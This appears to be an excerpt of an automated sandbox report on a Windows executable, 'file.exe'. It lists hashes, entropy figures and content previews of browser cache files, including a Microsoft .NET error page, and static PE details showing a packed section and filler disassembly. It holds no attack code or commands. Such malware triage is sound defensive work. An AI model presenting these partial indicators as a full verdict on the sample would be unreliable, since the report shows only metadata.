SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948796302007494
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'863'680 bytes
MD5:	de810f69440ffacc0ea1945c6c177927
SHA1:	8069a78d0db4f8757b5b104958edaf4816cb8553
SHA256:	a5f9f3280028063f7262d825327a92e7a2d686ec67dc0efea7dceed528e534ea
SHA512:	81e76f8df80166af48581a7f7fc8072f59df2b83adde44048532980ad67fe0e394335d6b693a68acfde515e53935a626f023519f5851715597720ba920f4bfec
SSDEEP:	49152:mLbOsovgxJ9dwHqV+ql7XiW3djnuxmnvehjapgB:bU9tXiW9nve5cM
TLSH:	2785330FEDA7E4A4FCC555B5AE1E9AFAEFE636A44C145C2C3AAC27381CB30091D50674
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D...........0J...........@..........................`J.....S.....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6737BFB3 [Fri Nov 15 21:40:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF0F8B4D49Ah
cmovle ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FF0F8B4F495h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0A00000Ah
or al, byte ptr [eax]
add byte ptr [ecx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c05c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5a000	0x27800	c18f1bfc1bd65477e8273e9666d8bbb9	False	0.9981766712816456	data	7.980050152503009	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5c000	0x1000	0x200	6821e858ec0b8e7e2533a33c0c061d34	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
